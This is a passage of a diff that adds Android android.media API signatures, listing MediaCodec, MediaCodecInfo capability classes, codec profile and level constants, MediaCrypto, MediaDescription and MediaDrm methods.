+    method @NonNull public android.media.MediaCodec.QueueRequest setEncryptedLinearBlock(@NonNull android.media.MediaCodec.LinearBlock, int, int, @NonNull android.media.MediaCodec.CryptoInfo);
+    method @NonNull public android.media.MediaCodec.QueueRequest setFlags(int);
+    method @NonNull public android.media.MediaCodec.QueueRequest setFloatParameter(@NonNull String, float);
+    method @NonNull public android.media.MediaCodec.QueueRequest setHardwareBuffer(@NonNull android.hardware.HardwareBuffer);
+    method @NonNull public android.media.MediaCodec.QueueRequest setIntegerParameter(@NonNull String, int);
+    method @NonNull public android.media.MediaCodec.QueueRequest setLinearBlock(@NonNull android.media.MediaCodec.LinearBlock, int, int);
+    method @NonNull public android.media.MediaCodec.QueueRequest setLongParameter(@NonNull String, long);
+    method @NonNull public android.media.MediaCodec.QueueRequest setPresentationTimeUs(long);
+    method @NonNull public android.media.MediaCodec.QueueRequest setStringParameter(@NonNull String, @NonNull String);
+  }
+
+  public final class MediaCodecInfo {
+    method @NonNull public String getCanonicalName();
+    method public android.media.MediaCodecInfo.CodecCapabilities getCapabilitiesForType(String);
+    method @NonNull public String getName();
+    method public String[] getSupportedTypes();
+    method public boolean isAlias();
+    method public boolean isEncoder();
+    method public boolean isHardwareAccelerated();
+    method public boolean isSoftwareOnly();
+    method public boolean isVendor();
+  }
+
+  public static final class MediaCodecInfo.AudioCapabilities {
+    method public android.util.Range<java.lang.Integer> getBitrateRange();
+    method @NonNull public android.util.Range<java.lang.Integer>[] getInputChannelCountRanges();
+    method @IntRange(from=1, to=255) public int getMaxInputChannelCount();
+    method @IntRange(from=1, to=255) public int getMinInputChannelCount();
+    method public android.util.Range<java.lang.Integer>[] getSupportedSampleRateRanges();
+    method public int[] getSupportedSampleRates();
+    method public boolean isSampleRateSupported(int);
+  }
+
+  public static final class MediaCodecInfo.CodecCapabilities {
+    ctor public MediaCodecInfo.CodecCapabilities();
+    method public static android.media.MediaCodecInfo.CodecCapabilities createFromProfileLevel(String, int, int);
+    method public android.media.MediaCodecInfo.AudioCapabilities getAudioCapabilities();
+    method public android.media.MediaFormat getDefaultFormat();
+    method public android.media.MediaCodecInfo.EncoderCapabilities getEncoderCapabilities();
+    method public int getMaxSupportedInstances();
+    method public String getMimeType();
+    method public android.media.MediaCodecInfo.VideoCapabilities getVideoCapabilities();
+    method public boolean isFeatureRequired(String);
+    method public boolean isFeatureSupported(String);
+    method public boolean isFormatSupported(android.media.MediaFormat);
+    field @Deprecated public static final int COLOR_Format12bitRGB444 = 3; // 0x3
+    field @Deprecated public static final int COLOR_Format16bitARGB1555 = 5; // 0x5
+    field @Deprecated public static final int COLOR_Format16bitARGB4444 = 4; // 0x4
+    field @Deprecated public static final int COLOR_Format16bitBGR565 = 7; // 0x7
+    field public static final int COLOR_Format16bitRGB565 = 6; // 0x6
+    field @Deprecated public static final int COLOR_Format18BitBGR666 = 41; // 0x29
+    field @Deprecated public static final int COLOR_Format18bitARGB1665 = 9; // 0x9
+    field @Deprecated public static final int COLOR_Format18bitRGB666 = 8; // 0x8
+    field @Deprecated public static final int COLOR_Format19bitARGB1666 = 10; // 0xa
+    field @Deprecated public static final int COLOR_Format24BitABGR6666 = 43; // 0x2b
+    field @Deprecated public static final int COLOR_Format24BitARGB6666 = 42; // 0x2a
+    field @Deprecated public static final int COLOR_Format24bitARGB1887 = 13; // 0xd
+    field public static final int COLOR_Format24bitBGR888 = 12; // 0xc
+    field @Deprecated public static final int COLOR_Format24bitRGB888 = 11; // 0xb
+    field @Deprecated public static final int COLOR_Format25bitARGB1888 = 14; // 0xe
+    field public static final int COLOR_Format32bitABGR8888 = 2130747392; // 0x7f00a000
+    field @Deprecated public static final int COLOR_Format32bitARGB8888 = 16; // 0x10
+    field @Deprecated public static final int COLOR_Format32bitBGRA8888 = 15; // 0xf
+    field @Deprecated public static final int COLOR_Format8bitRGB332 = 2; // 0x2
+    field @Deprecated public static final int COLOR_FormatCbYCrY = 27; // 0x1b
+    field @Deprecated public static final int COLOR_FormatCrYCbY = 28; // 0x1c
+    field public static final int COLOR_FormatL16 = 36; // 0x24
+    field @Deprecated public static final int COLOR_FormatL2 = 33; // 0x21
+    field @Deprecated public static final int COLOR_FormatL24 = 37; // 0x25
+    field @Deprecated public static final int COLOR_FormatL32 = 38; // 0x26
+    field @Deprecated public static final int COLOR_FormatL4 = 34; // 0x22
+    field public static final int COLOR_FormatL8 = 35; // 0x23
+    field @Deprecated public static final int COLOR_FormatMonochrome = 1; // 0x1
+    field public static final int COLOR_FormatRGBAFlexible = 2134288520; // 0x7f36a888
+    field public static final int COLOR_FormatRGBFlexible = 2134292616; // 0x7f36b888
+    field public static final int COLOR_FormatRawBayer10bit = 31; // 0x1f
+    field public static final int COLOR_FormatRawBayer8bit = 30; // 0x1e
+    field public static final int COLOR_FormatRawBayer8bitcompressed = 32; // 0x20
+    field public static final int COLOR_FormatSurface = 2130708361; // 0x7f000789
+    field @Deprecated public static final int COLOR_FormatYCbYCr = 25; // 0x19
+    field @Deprecated public static final int COLOR_FormatYCrYCb = 26; // 0x1a
+    field @Deprecated public static final int COLOR_FormatYUV411PackedPlanar = 18; // 0x12
+    field @Deprecated public static final int COLOR_FormatYUV411Planar = 17; // 0x11
+    field public static final int COLOR_FormatYUV420Flexible = 2135033992; // 0x7f420888
+    field @Deprecated public static final int COLOR_FormatYUV420PackedPlanar = 20; // 0x14
+    field @Deprecated public static final int COLOR_FormatYUV420PackedSemiPlanar = 39; // 0x27
+    field @Deprecated public static final int COLOR_FormatYUV420Planar = 19; // 0x13
+    field @Deprecated public static final int COLOR_FormatYUV420SemiPlanar = 21; // 0x15
+    field public static final int COLOR_FormatYUV422Flexible = 2135042184; // 0x7f422888
+    field @Deprecated public static final int COLOR_FormatYUV422PackedPlanar = 23; // 0x17
+    field @Deprecated public static final int COLOR_FormatYUV422PackedSemiPlanar = 40; // 0x28
+    field @Deprecated public static final int COLOR_FormatYUV422Planar = 22; // 0x16
+    field @Deprecated public static final int COLOR_FormatYUV422SemiPlanar = 24; // 0x18
+    field public static final int COLOR_FormatYUV444Flexible = 2135181448; // 0x7f444888
+    field @Deprecated public static final int COLOR_FormatYUV444Interleaved = 29; // 0x1d
+    field @Deprecated public static final int COLOR_QCOM_FormatYUV420SemiPlanar = 2141391872; // 0x7fa30c00
+    field @Deprecated public static final int COLOR_TI_FormatYUV420PackedSemiPlanar = 2130706688; // 0x7f000100
+    field public static final String FEATURE_AdaptivePlayback = "adaptive-playback";
+    field public static final String FEATURE_DynamicTimestamp = "dynamic-timestamp";
+    field public static final String FEATURE_FrameParsing = "frame-parsing";
+    field public static final String FEATURE_IntraRefresh = "intra-refresh";
+    field public static final String FEATURE_LowLatency = "low-latency";
+    field public static final String FEATURE_MultipleFrames = "multiple-frames";
+    field public static final String FEATURE_PartialFrame = "partial-frame";
+    field public static final String FEATURE_QpBounds = "qp-bounds";
+    field public static final String FEATURE_SecurePlayback = "secure-playback";
+    field public static final String FEATURE_TunneledPlayback = "tunneled-playback";
+    field public int[] colorFormats;
+    field public android.media.MediaCodecInfo.CodecProfileLevel[] profileLevels;
+  }
+
+  public static final class MediaCodecInfo.CodecProfileLevel {
+    ctor public MediaCodecInfo.CodecProfileLevel();
+    field public static final int AACObjectELD = 39; // 0x27
+    field public static final int AACObjectERLC = 17; // 0x11
+    field public static final int AACObjectERScalable = 20; // 0x14
+    field public static final int AACObjectHE = 5; // 0x5
+    field public static final int AACObjectHE_PS = 29; // 0x1d
+    field public static final int AACObjectLC = 2; // 0x2
+    field public static final int AACObjectLD = 23; // 0x17
+    field public static final int AACObjectLTP = 4; // 0x4
+    field public static final int AACObjectMain = 1; // 0x1
+    field public static final int AACObjectSSR = 3; // 0x3
+    field public static final int AACObjectScalable = 6; // 0x6
+    field public static final int AACObjectXHE = 42; // 0x2a
+    field public static final int AV1Level2 = 1; // 0x1
+    field public static final int AV1Level21 = 2; // 0x2
+    field public static final int AV1Level22 = 4; // 0x4
+    field public static final int AV1Level23 = 8; // 0x8
+    field public static final int AV1Level3 = 16; // 0x10
+    field public static final int AV1Level31 = 32; // 0x20
+    field public static final int AV1Level32 = 64; // 0x40
+    field public static final int AV1Level33 = 128; // 0x80
+    field public static final int AV1Level4 = 256; // 0x100
+    field public static final int AV1Level41 = 512; // 0x200
+    field public static final int AV1Level42 = 1024; // 0x400
+    field public static final int AV1Level43 = 2048; // 0x800
+    field public static final int AV1Level5 = 4096; // 0x1000
+    field public static final int AV1Level51 = 8192; // 0x2000
+    field public static final int AV1Level52 = 16384; // 0x4000
+    field public static final int AV1Level53 = 32768; // 0x8000
+    field public static final int AV1Level6 = 65536; // 0x10000
+    field public static final int AV1Level61 = 131072; // 0x20000
+    field public static final int AV1Level62 = 262144; // 0x40000
+    field public static final int AV1Level63 = 524288; // 0x80000
+    field public static final int AV1Level7 = 1048576; // 0x100000
+    field public static final int AV1Level71 = 2097152; // 0x200000
+    field public static final int AV1Level72 = 4194304; // 0x400000
+    field public static final int AV1Level73 = 8388608; // 0x800000
+    field public static final int AV1ProfileMain10 = 2; // 0x2
+    field public static final int AV1ProfileMain10HDR10 = 4096; // 0x1000
+    field public static final int AV1ProfileMain10HDR10Plus = 8192; // 0x2000
+    field public static final int AV1ProfileMain8 = 1; // 0x1
+    field public static final int AVCLevel1 = 1; // 0x1
+    field public static final int AVCLevel11 = 4; // 0x4
+    field public static final int AVCLevel12 = 8; // 0x8
+    field public static final int AVCLevel13 = 16; // 0x10
+    field public static final int AVCLevel1b = 2; // 0x2
+    field public static final int AVCLevel2 = 32; // 0x20
+    field public static final int AVCLevel21 = 64; // 0x40
+    field public static final int AVCLevel22 = 128; // 0x80
+    field public static final int AVCLevel3 = 256; // 0x100
+    field public static final int AVCLevel31 = 512; // 0x200
+    field public static final int AVCLevel32 = 1024; // 0x400
+    field public static final int AVCLevel4 = 2048; // 0x800
+    field public static final int AVCLevel41 = 4096; // 0x1000
+    field public static final int AVCLevel42 = 8192; // 0x2000
+    field public static final int AVCLevel5 = 16384; // 0x4000
+    field public static final int AVCLevel51 = 32768; // 0x8000
+    field public static final int AVCLevel52 = 65536; // 0x10000
+    field public static final int AVCLevel6 = 131072; // 0x20000
+    field public static final int AVCLevel61 = 262144; // 0x40000
+    field public static final int AVCLevel62 = 524288; // 0x80000
+    field public static final int AVCProfileBaseline = 1; // 0x1
+    field public static final int AVCProfileConstrainedBaseline = 65536; // 0x10000
+    field public static final int AVCProfileConstrainedHigh = 524288; // 0x80000
+    field public static final int AVCProfileExtended = 4; // 0x4
+    field public static final int AVCProfileHigh = 8; // 0x8
+    field public static final int AVCProfileHigh10 = 16; // 0x10
+    field public static final int AVCProfileHigh422 = 32; // 0x20
+    field public static final int AVCProfileHigh444 = 64; // 0x40
+    field public static final int AVCProfileMain = 2; // 0x2
+    field public static final int DolbyVisionLevelFhd24 = 4; // 0x4
+    field public static final int DolbyVisionLevelFhd30 = 8; // 0x8
+    field public static final int DolbyVisionLevelFhd60 = 16; // 0x10
+    field public static final int DolbyVisionLevelHd24 = 1; // 0x1
+    field public static final int DolbyVisionLevelHd30 = 2; // 0x2
+    field public static final int DolbyVisionLevelUhd24 = 32; // 0x20
+    field public static final int DolbyVisionLevelUhd30 = 64; // 0x40
+    field public static final int DolbyVisionLevelUhd48 = 128; // 0x80
+    field public static final int DolbyVisionLevelUhd60 = 256; // 0x100
+    field public static final int DolbyVisionProfileDvav110 = 1024; // 0x400
+    field public static final int DolbyVisionProfileDvavPen = 2; // 0x2
+    field public static final int DolbyVisionProfileDvavPer = 1; // 0x1
+    field public static final int DolbyVisionProfileDvavSe = 512; // 0x200
+    field public static final int DolbyVisionProfileDvheDen = 8; // 0x8
+    field public static final int DolbyVisionProfileDvheDer = 4; // 0x4
+    field public static final int DolbyVisionProfileDvheDtb = 128; // 0x80
+    field public static final int DolbyVisionProfileDvheDth = 64; // 0x40
+    field public static final int DolbyVisionProfileDvheDtr = 16; // 0x10
+    field public static final int DolbyVisionProfileDvheSt = 256; // 0x100
+    field public static final int DolbyVisionProfileDvheStn = 32; // 0x20
+    field public static final int H263Level10 = 1; // 0x1
+    field public static final int H263Level20 = 2; // 0x2
+    field public static final int H263Level30 = 4; // 0x4
+    field public static final int H263Level40 = 8; // 0x8
+    field public static final int H263Level45 = 16; // 0x10
+    field public static final int H263Level50 = 32; // 0x20
+    field public static final int H263Level60 = 64; // 0x40
+    field public static final int H263Level70 = 128; // 0x80
+    field public static final int H263ProfileBackwardCompatible = 4; // 0x4
+    field public static final int H263ProfileBaseline = 1; // 0x1
+    field public static final int H263ProfileH320Coding = 2; // 0x2
+    field public static final int H263ProfileHighCompression = 32; // 0x20
+    field public static final int H263ProfileHighLatency = 256; // 0x100
+    field public static final int H263ProfileISWV2 = 8; // 0x8
+    field public static final int H263ProfileISWV3 = 16; // 0x10
+    field public static final int H263ProfileInterlace = 128; // 0x80
+    field public static final int H263ProfileInternet = 64; // 0x40
+    field public static final int HEVCHighTierLevel1 = 2; // 0x2
+    field public static final int HEVCHighTierLevel2 = 8; // 0x8
+    field public static final int HEVCHighTierLevel21 = 32; // 0x20
+    field public static final int HEVCHighTierLevel3 = 128; // 0x80
+    field public static final int HEVCHighTierLevel31 = 512; // 0x200
+    field public static final int HEVCHighTierLevel4 = 2048; // 0x800
+    field public static final int HEVCHighTierLevel41 = 8192; // 0x2000
+    field public static final int HEVCHighTierLevel5 = 32768; // 0x8000
+    field public static final int HEVCHighTierLevel51 = 131072; // 0x20000
+    field public static final int HEVCHighTierLevel52 = 524288; // 0x80000
+    field public static final int HEVCHighTierLevel6 = 2097152; // 0x200000
+    field public static final int HEVCHighTierLevel61 = 8388608; // 0x800000
+    field public static final int HEVCHighTierLevel62 = 33554432; // 0x2000000
+    field public static final int HEVCMainTierLevel1 = 1; // 0x1
+    field public static final int HEVCMainTierLevel2 = 4; // 0x4
+    field public static final int HEVCMainTierLevel21 = 16; // 0x10
+    field public static final int HEVCMainTierLevel3 = 64; // 0x40
+    field public static final int HEVCMainTierLevel31 = 256; // 0x100
+    field public static final int HEVCMainTierLevel4 = 1024; // 0x400
+    field public static final int HEVCMainTierLevel41 = 4096; // 0x1000
+    field public static final int HEVCMainTierLevel5 = 16384; // 0x4000
+    field public static final int HEVCMainTierLevel51 = 65536; // 0x10000
+    field public static final int HEVCMainTierLevel52 = 262144; // 0x40000
+    field public static final int HEVCMainTierLevel6 = 1048576; // 0x100000
+    field public static final int HEVCMainTierLevel61 = 4194304; // 0x400000
+    field public static final int HEVCMainTierLevel62 = 16777216; // 0x1000000
+    field public static final int HEVCProfileMain = 1; // 0x1
+    field public static final int HEVCProfileMain10 = 2; // 0x2
+    field public static final int HEVCProfileMain10HDR10 = 4096; // 0x1000
+    field public static final int HEVCProfileMain10HDR10Plus = 8192; // 0x2000
+    field public static final int HEVCProfileMainStill = 4; // 0x4
+    field public static final int MPEG2LevelH14 = 2; // 0x2
+    field public static final int MPEG2LevelHL = 3; // 0x3
+    field public static final int MPEG2LevelHP = 4; // 0x4
+    field public static final int MPEG2LevelLL = 0; // 0x0
+    field public static final int MPEG2LevelML = 1; // 0x1
+    field public static final int MPEG2Profile422 = 2; // 0x2
+    field public static final int MPEG2ProfileHigh = 5; // 0x5
+    field public static final int MPEG2ProfileMain = 1; // 0x1
+    field public static final int MPEG2ProfileSNR = 3; // 0x3
+    field public static final int MPEG2ProfileSimple = 0; // 0x0
+    field public static final int MPEG2ProfileSpatial = 4; // 0x4
+    field public static final int MPEG4Level0 = 1; // 0x1
+    field public static final int MPEG4Level0b = 2; // 0x2
+    field public static final int MPEG4Level1 = 4; // 0x4
+    field public static final int MPEG4Level2 = 8; // 0x8
+    field public static final int MPEG4Level3 = 16; // 0x10
+    field public static final int MPEG4Level3b = 24; // 0x18
+    field public static final int MPEG4Level4 = 32; // 0x20
+    field public static final int MPEG4Level4a = 64; // 0x40
+    field public static final int MPEG4Level5 = 128; // 0x80
+    field public static final int MPEG4Level6 = 256; // 0x100
+    field public static final int MPEG4ProfileAdvancedCoding = 4096; // 0x1000
+    field public static final int MPEG4ProfileAdvancedCore = 8192; // 0x2000
+    field public static final int MPEG4ProfileAdvancedRealTime = 1024; // 0x400
+    field public static final int MPEG4ProfileAdvancedScalable = 16384; // 0x4000
+    field public static final int MPEG4ProfileAdvancedSimple = 32768; // 0x8000
+    field public static final int MPEG4ProfileBasicAnimated = 256; // 0x100
+    field public static final int MPEG4ProfileCore = 4; // 0x4
+    field public static final int MPEG4ProfileCoreScalable = 2048; // 0x800
+    field public static final int MPEG4ProfileHybrid = 512; // 0x200
+    field public static final int MPEG4ProfileMain = 8; // 0x8
+    field public static final int MPEG4ProfileNbit = 16; // 0x10
+    field public static final int MPEG4ProfileScalableTexture = 32; // 0x20
+    field public static final int MPEG4ProfileSimple = 1; // 0x1
+    field public static final int MPEG4ProfileSimpleFBA = 128; // 0x80
+    field public static final int MPEG4ProfileSimpleFace = 64; // 0x40
+    field public static final int MPEG4ProfileSimpleScalable = 2; // 0x2
+    field public static final int VP8Level_Version0 = 1; // 0x1
+    field public static final int VP8Level_Version1 = 2; // 0x2
+    field public static final int VP8Level_Version2 = 4; // 0x4
+    field public static final int VP8Level_Version3 = 8; // 0x8
+    field public static final int VP8ProfileMain = 1; // 0x1
+    field public static final int VP9Level1 = 1; // 0x1
+    field public static final int VP9Level11 = 2; // 0x2
+    field public static final int VP9Level2 = 4; // 0x4
+    field public static final int VP9Level21 = 8; // 0x8
+    field public static final int VP9Level3 = 16; // 0x10
+    field public static final int VP9Level31 = 32; // 0x20
+    field public static final int VP9Level4 = 64; // 0x40
+    field public static final int VP9Level41 = 128; // 0x80
+    field public static final int VP9Level5 = 256; // 0x100
+    field public static final int VP9Level51 = 512; // 0x200
+    field public static final int VP9Level52 = 1024; // 0x400
+    field public static final int VP9Level6 = 2048; // 0x800
+    field public static final int VP9Level61 = 4096; // 0x1000
+    field public static final int VP9Level62 = 8192; // 0x2000
+    field public static final int VP9Profile0 = 1; // 0x1
+    field public static final int VP9Profile1 = 2; // 0x2
+    field public static final int VP9Profile2 = 4; // 0x4
+    field public static final int VP9Profile2HDR = 4096; // 0x1000
+    field public static final int VP9Profile2HDR10Plus = 16384; // 0x4000
+    field public static final int VP9Profile3 = 8; // 0x8
+    field public static final int VP9Profile3HDR = 8192; // 0x2000
+    field public static final int VP9Profile3HDR10Plus = 32768; // 0x8000
+    field public int level;
+    field public int profile;
+  }
+
+  public static final class MediaCodecInfo.EncoderCapabilities {
+    method public android.util.Range<java.lang.Integer> getComplexityRange();
+    method public android.util.Range<java.lang.Integer> getQualityRange();
+    method public boolean isBitrateModeSupported(int);
+    field public static final int BITRATE_MODE_CBR = 2; // 0x2
+    field public static final int BITRATE_MODE_CBR_FD = 3; // 0x3
+    field public static final int BITRATE_MODE_CQ = 0; // 0x0
+    field public static final int BITRATE_MODE_VBR = 1; // 0x1
+  }
+
+  public static final class MediaCodecInfo.VideoCapabilities {
+    method public boolean areSizeAndRateSupported(int, int, double);
+    method @Nullable public android.util.Range<java.lang.Double> getAchievableFrameRatesFor(int, int);
+    method public android.util.Range<java.lang.Integer> getBitrateRange();
+    method public int getHeightAlignment();
+    method public android.util.Range<java.lang.Integer> getSupportedFrameRates();
+    method public android.util.Range<java.lang.Double> getSupportedFrameRatesFor(int, int);
+    method public android.util.Range<java.lang.Integer> getSupportedHeights();
+    method public android.util.Range<java.lang.Integer> getSupportedHeightsFor(int);
+    method @Nullable public java.util.List<android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint> getSupportedPerformancePoints();
+    method public android.util.Range<java.lang.Integer> getSupportedWidths();
+    method public android.util.Range<java.lang.Integer> getSupportedWidthsFor(int);
+    method public int getWidthAlignment();
+    method public boolean isSizeSupported(int, int);
+  }
+
+  public static final class MediaCodecInfo.VideoCapabilities.PerformancePoint {
+    ctor public MediaCodecInfo.VideoCapabilities.PerformancePoint(int, int, int);
+    method public boolean covers(@NonNull android.media.MediaFormat);
+    method public boolean covers(@NonNull android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint);
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_100;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_120;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_200;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_24;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_240;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_25;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_30;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_50;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint FHD_60;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_100;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_120;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_200;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_24;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_240;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_25;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_30;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_50;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint HD_60;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint SD_24;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint SD_25;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint SD_30;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint SD_48;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint SD_50;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint SD_60;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_100;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_120;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_200;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_24;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_240;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_25;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_30;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_50;
+    field @NonNull public static final android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint UHD_60;
+  }
+
+  public final class MediaCodecList {
+    ctor public MediaCodecList(int);
+    method public String findDecoderForFormat(android.media.MediaFormat);
+    method public String findEncoderForFormat(android.media.MediaFormat);
+    method @Deprecated public static int getCodecCount();
+    method @Deprecated public static android.media.MediaCodecInfo getCodecInfoAt(int);
+    method public android.media.MediaCodecInfo[] getCodecInfos();
+    field public static final int ALL_CODECS = 1; // 0x1
+    field public static final int REGULAR_CODECS = 0; // 0x0
+  }
+
+  public final class MediaCrypto {
+    ctor public MediaCrypto(@NonNull java.util.UUID, @NonNull byte[]) throws android.media.MediaCryptoException;
+    method protected void finalize();
+    method public static boolean isCryptoSchemeSupported(@NonNull java.util.UUID);
+    method public void release();
+    method public boolean requiresSecureDecoderComponent(@NonNull String);
+    method public void setMediaDrmSession(@NonNull byte[]) throws android.media.MediaCryptoException;
+  }
+
+  public final class MediaCryptoException extends java.lang.Exception {
+    ctor public MediaCryptoException(@Nullable String);
+  }
+
+  public abstract class MediaDataSource implements java.io.Closeable {
+    ctor public MediaDataSource();
+    method public abstract long getSize() throws java.io.IOException;
+    method public abstract int readAt(long, byte[], int, int) throws java.io.IOException;
+  }
+
+  public final class MediaDescrambler implements java.lang.AutoCloseable {
+    ctor public MediaDescrambler(int) throws android.media.MediaCasException.UnsupportedCasException;
+    method public void close();
+    method public int descramble(@NonNull java.nio.ByteBuffer, @NonNull java.nio.ByteBuffer, @NonNull android.media.MediaCodec.CryptoInfo);
+    method protected void finalize();
+    method public boolean requiresSecureDecoderComponent(@NonNull String);
+    method public void setMediaCasSession(@NonNull android.media.MediaCas.Session);
+    field public static final byte SCRAMBLE_CONTROL_EVEN_KEY = 2; // 0x2
+    field public static final byte SCRAMBLE_CONTROL_ODD_KEY = 3; // 0x3
+    field public static final byte SCRAMBLE_CONTROL_RESERVED = 1; // 0x1
+    field public static final byte SCRAMBLE_CONTROL_UNSCRAMBLED = 0; // 0x0
+    field public static final byte SCRAMBLE_FLAG_PES_HEADER = 1; // 0x1
+  }
+
+  public class MediaDescription implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public CharSequence getDescription();
+    method @Nullable public android.os.Bundle getExtras();
+    method @Nullable public android.graphics.Bitmap getIconBitmap();
+    method @Nullable public android.net.Uri getIconUri();
+    method @Nullable public String getMediaId();
+    method @Nullable public android.net.Uri getMediaUri();
+    method @Nullable public CharSequence getSubtitle();
+    method @Nullable public CharSequence getTitle();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final long BT_FOLDER_TYPE_ALBUMS = 2L; // 0x2L
+    field public static final long BT_FOLDER_TYPE_ARTISTS = 3L; // 0x3L
+    field public static final long BT_FOLDER_TYPE_GENRES = 4L; // 0x4L
+    field public static final long BT_FOLDER_TYPE_MIXED = 0L; // 0x0L
+    field public static final long BT_FOLDER_TYPE_PLAYLISTS = 5L; // 0x5L
+    field public static final long BT_FOLDER_TYPE_TITLES = 1L; // 0x1L
+    field public static final long BT_FOLDER_TYPE_YEARS = 6L; // 0x6L
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.MediaDescription> CREATOR;
+    field public static final String EXTRA_BT_FOLDER_TYPE = "android.media.extra.BT_FOLDER_TYPE";
+  }
+
+  public static class MediaDescription.Builder {
+    ctor public MediaDescription.Builder();
+    method public android.media.MediaDescription build();
+    method public android.media.MediaDescription.Builder setDescription(@Nullable CharSequence);
+    method public android.media.MediaDescription.Builder setExtras(@Nullable android.os.Bundle);
+    method public android.media.MediaDescription.Builder setIconBitmap(@Nullable android.graphics.Bitmap);
+    method public android.media.MediaDescription.Builder setIconUri(@Nullable android.net.Uri);
+    method public android.media.MediaDescription.Builder setMediaId(@Nullable String);
+    method public android.media.MediaDescription.Builder setMediaUri(@Nullable android.net.Uri);
+    method public android.media.MediaDescription.Builder setSubtitle(@Nullable CharSequence);
+    method public android.media.MediaDescription.Builder setTitle(@Nullable CharSequence);
+  }
+
+  public final class MediaDrm implements java.lang.AutoCloseable {
+    ctor public MediaDrm(@NonNull java.util.UUID) throws android.media.UnsupportedSchemeException;
+    method public void clearOnEventListener();
+    method public void clearOnExpirationUpdateListener();
+    method public void clearOnKeyStatusChangeListener();
+    method public void clearOnSessionLostStateListener();
+    method public void close();
+    method public void closeSession(@NonNull byte[]);
+    method @android.media.MediaDrm.HdcpLevel public int getConnectedHdcpLevel();
+    method public android.media.MediaDrm.CryptoSession getCryptoSession(@NonNull byte[], @NonNull String, @NonNull String);
+    method @NonNull public android.media.MediaDrm.KeyRequest getKeyRequest(@NonNull byte[], @Nullable byte[], @Nullable String, int, @Nullable java.util.HashMap<java.lang.String,java.lang.String>) throws android.media.NotProvisionedException;
+    method @NonNull public java.util.List<android.media.MediaDrm.LogMessage> getLogMessages();
+    method @android.media.MediaDrm.HdcpLevel public int getMaxHdcpLevel();
+    method public static int getMaxSecurityLevel();
+    method public int getMaxSessionCount();
+    method public android.os.PersistableBundle getMetrics();
+    method @NonNull public java.util.List<byte[]> getOfflineLicenseKeySetIds();
+    method public int getOfflineLicenseState(@NonNull byte[]);
+    method public int getOpenSessionCount();
+    method @Nullable public android.media.MediaDrm.PlaybackComponent getPlaybackComponent(@NonNull byte[]);
+    method @NonNull public byte[] getPropertyByteArray(String);
+    method @NonNull public String getPropertyString(@NonNull String);
+    method @NonNull public android.media.MediaDrm.ProvisionRequest getProvisionRequest();
+    method @NonNull public byte[] getSecureStop(@NonNull byte[]);
+    method @NonNull public java.util.List<byte[]> getSecureStopIds();
+    method @NonNull public java.util.List<byte[]> getSecureStops();
+    method @android.media.MediaDrm.SecurityLevel public int getSecurityLevel(@NonNull byte[]);
+    method @NonNull public static java.util.List<java.util.UUID> getSupportedCryptoSchemes();
+    method public static boolean isCryptoSchemeSupported(@NonNull java.util.UUID);
+    method public static boolean isCryptoSchemeSupported(@NonNull java.util.UUID, @NonNull String);
+    method public static boolean isCryptoSchemeSupported(@NonNull java.util.UUID, @NonNull String, @android.media.MediaDrm.SecurityLevel int);
+    method @NonNull public byte[] openSession() throws android.media.NotProvisionedException, android.media.ResourceBusyException;
+    method @NonNull public byte[] openSession(@android.media.MediaDrm.SecurityLevel int) throws android.media.NotProvisionedException, android.media.ResourceBusyException;
+    method @Nullable public byte[] provideKeyResponse(@NonNull byte[], @NonNull byte[]) throws android.media.DeniedByServerException, android.media.NotProvisionedException;
+    method public void provideProvisionResponse(@NonNull byte[]) throws android.media.DeniedByServerException;
+    method @NonNull public java.util.HashMap<java.lang.String,java.lang.String> queryKeyStatus(@NonNull byte[]);
+    method @Deprecated public void release();
